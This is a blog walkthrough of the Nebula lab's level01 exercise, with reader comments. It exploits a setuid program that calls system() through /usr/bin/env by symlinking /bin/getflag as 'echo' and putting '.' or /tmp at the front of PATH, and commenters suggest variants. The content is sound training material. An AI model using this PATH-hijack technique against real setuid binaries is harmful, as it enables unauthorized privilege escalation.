Nebula exploit exercises walkthrough – level01


There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

int main(int argc, char **argv, char **envp)
	gid_t gid;
	uid_t uid;
	gid = getegid();
	uid = geteuid();

	setresgid(gid, gid, gid);
	setresuid(uid, uid, uid);

	system("/usr/bin/env echo and now what?");

The executable is located in the /home/flag01 directory. On running it, we get the expected output:

level01@nebula:/home/flag01$ ./flag01
and now what?

Importantly, if we check the permissions on the executable:

level01@nebula:/home/flag01$ ls -asl
total 13
0 drwxr-x--- 1 flag01 level01   40 2014-06-03 22:33 .
0 drwxr-xr-x 1 root   root     380 2012-08-27 07:18 ..
1 -rw-r--r-- 1 flag01 flag01   220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 flag01 flag01  3353 2011-05-18 02:54 .bashrc
8 -rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
1 -rw-r--r-- 1 flag01 flag01   675 2011-05-18 02:54 .profile

We can see that this file also has the suid bit set. The problem then is, how do we get this to run “getflag”?

The executable does nothing with command line parameters so we can’t pass anything in there. It does however call echo to output the text. echo is a built-in command to bash (i.e. not a discrete executable like ping would be), so we normally couldn’t override what it does.

However notice that the system call uses /user/bin/env before echo – where is this normally seen? At the start of scripts where we define the interpreter with a shebang.

#!/usr/bin/env python

The reason that /usr/bin/env is used is that scripts need a full path to the interpreter. python could be anywhere, and it is awkward to modify scripts to use a full path from system to system. /usr/bin/env searches the path for the command passed to it and runs it.

This means we can provide our own echo, modify the path so that this echo is called in preference to the built-in, and then we can run arbitrary commands.

The easiest way to provide our own echo that runs getflag is to just create a symbolic link.

level01@nebula:~$ ln -s /bin/getflag echo
level01@nebula:~$ ls -asl
total 5
0 drwxr-x--- 1 level01 level01   80 2014-06-03 22:41 .
0 drwxr-xr-x 1 root    root     380 2012-08-27 07:18 ..
1 -rw-r--r-- 1 level01 level01  220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 level01 level01 3353 2011-05-18 02:54 .bashrc
0 drwx------ 2 level01 level01   60 2014-06-03 18:22 .cache
0 lrwxrwxrwx 1 level01 level01   12 2014-06-03 22:41 echo -> /bin/getflag
1 -rw-r--r-- 1 level01 level01  675 2011-05-18 02:54 .profile
level01@nebula:~$ export PATH=.:$PATH
level01@nebula:~$ /home/flag01/flag01 
You have successfully executed getflag on a target account

Again – relatively simple. Symbolic links are useful tools for bypassing name and location checks!

10 thoughts on “Nebula exploit exercises walkthrough – level01

  1. Permalink  ⋅ Reply


    December 14, 2015 at 3:15am

    ln -s /bin/getflag echo need sudo permission, it not work

    • Permalink  ⋅ Reply


      January 8, 2016 at 4:12am

      Don’t try to create the symbolic link in the /home/flag01 , create it in your home directory instead /home/level01 . you don’t have access to the write in the folder /home/flag01

    • Permalink  ⋅ Reply


      January 21, 2016 at 9:23am

      Without giving too much away – try putting the symbolic link somewhere you have permission to execute – you will also need to modify the path to reflect this change of course.

    • Permalink  ⋅ Reply


      January 23, 2016 at 12:37am

      The permissions are a problem only if you lack write access in your current directory. Try:
      cd ~
      ln -s /bin/getflag echo

    • Permalink  ⋅ Reply


      February 10, 2016 at 2:11pm

      Yep, it doesn’t. Try to use ‘ln -s /bin/getflag /tmp/echo’ and change PATH to ‘/tmp’

  2. Permalink  ⋅ Reply


    April 20, 2016 at 9:41pm

    Alternatively, you may just change your PATH to include the local directory and run l1; it will use the /home/level01/echo program.

  3. Permalink  ⋅ Reply


    May 6, 2017 at 12:37am

    Another major purpose of the env binary, is the ability to modify the environment variables inline. If a program is invoked through env (just like how the script does it), the environment variables can be set.

  4. Permalink  ⋅ Reply


    November 6, 2017 at 10:27pm

    What does “.:” mean? In the example of “.:$PATH”. Rookie question.

  5. Permalink  ⋅ Reply


    February 25, 2018 at 11:53am

    how we were supposed to know that “getflag” needs to be run?.. I don’t find this particularly intuitive

  6. Permalink  ⋅ Reply


    May 12, 2018 at 3:53am

    Very cool. I’m just getting into this stuff and it blows my mind. Thanks for this great series of tutorials. I know it’s 2018 and I kinda missed the bus, but this is excellent stuff.

Leave a Reply

Your email will not be published. Name and Email fields are required.

This site uses Akismet to reduce spam. Learn how your comment data is processed.